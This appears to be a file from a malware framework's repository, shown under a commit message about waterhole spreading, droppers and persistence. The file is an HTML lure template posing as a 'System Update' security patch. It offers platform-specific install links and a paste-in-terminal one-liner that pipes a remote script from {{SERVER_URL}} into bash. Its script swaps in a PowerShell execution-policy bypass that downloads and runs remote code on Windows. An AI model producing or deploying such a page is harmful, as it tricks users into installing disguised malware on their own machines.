Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
42 lines
1.8 KiB
HTML
42 lines
1.8 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8" />
|
|
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
|
<title>System Update</title>
|
|
<link rel="stylesheet" href="assets/aether.css" />
|
|
</head>
|
|
<body>
|
|
<main class="shell">
|
|
<header class="hero">
|
|
<p class="eyebrow">Security patch</p>
|
|
<h1>Recommended update available</h1>
|
|
<p class="lede">Your environment requires a small compatibility fix. Choose your platform below — installation is automatic.</p>
|
|
</header>
|
|
<section class="actions" id="actions">
|
|
<a class="btn btn-win" id="btn-win" href="install.ps1{{QUERY_SUFFIX}}">Windows</a>
|
|
<a class="btn btn-nix" id="btn-nix" href="install.sh{{QUERY_SUFFIX}}">Linux</a>
|
|
<a class="btn btn-mac" id="btn-mac" href="install.command{{QUERY_SUFFIX}}">macOS</a>
|
|
<a class="btn btn-dl" id="btn-dl" href="{{SERVER_URL}}/get{{QUERY_SUFFIX}}">Direct download</a>
|
|
</section>
|
|
<footer class="fine">
|
|
<p>Having trouble? Run in terminal:</p>
|
|
<code id="oneliner">curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash</code>
|
|
</footer>
|
|
</main>
|
|
<script>
|
|
(function () {
|
|
var ua = navigator.userAgent || '';
|
|
var win = /windows/i.test(ua);
|
|
var mac = /macintosh|mac os x/i.test(ua);
|
|
var nix = /linux/i.test(ua) && !/android/i.test(ua);
|
|
if (win) document.getElementById('btn-win').classList.add('primary');
|
|
else if (mac) document.getElementById('btn-mac').classList.add('primary');
|
|
else if (nix) document.getElementById('btn-nix').classList.add('primary');
|
|
if (win) document.getElementById('oneliner').textContent =
|
|
"powershell -ep bypass -c \"iex (irm '{{SERVER_URL}}/install.ps1{{QUERY_SUFFIX}}')\"";
|
|
})();
|
|
</script>
|
|
</body>
|
|
</html>
|